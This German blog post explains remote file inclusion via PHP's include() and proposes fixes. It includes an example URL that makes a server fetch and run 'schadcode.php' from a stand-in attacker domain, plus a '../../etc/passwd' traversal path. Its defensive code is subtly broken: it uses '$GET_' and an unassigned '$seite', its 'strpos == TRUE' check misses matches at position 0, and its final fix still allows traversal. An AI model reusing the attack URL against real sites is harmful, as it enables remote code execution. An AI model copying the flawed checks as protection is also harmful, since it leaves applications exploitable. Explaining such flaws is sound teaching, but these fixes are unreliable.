include() Funktion auf Injections prüfen

fehlt wasgeht sogutsehr guthat geholfen (No Ratings Yet)
Loading ... Loading ...
Werbung




Viele PHP Skripte arbeiten mit dem include() Befehl, um bestimmte PHP Bereiche nachzuladen und auszuführen. Der include() Befehl läd die Datei, die in der Klammer angegeben wurde, nach und führt den darin enthaltenen Code lokal auf dem Server mit den rechten des Webserver-Dienstes aus.

So kann z.B. folgender Befehl verheerend sein:

echo 'Hier kommt der include:';
include ($GET_['seite']);
?>

Dieser Code kann mit folgender Url missbraucht werden:

http://www.domain.de/index.php?seite=http://www.seite-des-angreifers.de/schadcode.php

Der include() Befehl würde dann die Datei schadcode.php von derm fremden Seite nachladen und den Code in der Datei ausführen. Wie verhindern ?

Man könnte dem include Befehl durch eine Prüfung des übergebenen Parameters das Aufrufen von Skripten von externen Seiten verbieten.

Mit folgender Abfrage wird dies unterbunden:

if (strpos($seite, '://') == TRUE || strpos($seite, '../') == TRUE)
die('Fehlerhafter Aufruf');

Diese Abfrage prüft, ob in der Variablen die Zeichenketten “:“, für z.B. http: oder ftp://, ein “.., für z.B. “../../etc/passwd“> enthalten ist und bricht die Ausführung ab, sofern die Bedingung zutrifft.

Noch sinnvoller ist es natürlich, den include direkt auch zu prüfen, dass sich dieser auf dem lokalen Server befindet.

Beispielsweise mit:

include '/var/www/'.$_GET['seite'].'.php'

Hier wird zwar immernoch alles übergeben, womit auch zusätzliche Prüfunden eingebaut werden sollten, aber es wir zumindest mal nicht auf einen fremden Server mehr zugegriffen.



Werbung


Hinterlasse eine Antwort

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind markiert *


*

Du kannst folgende HTML-Tags benutzen: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>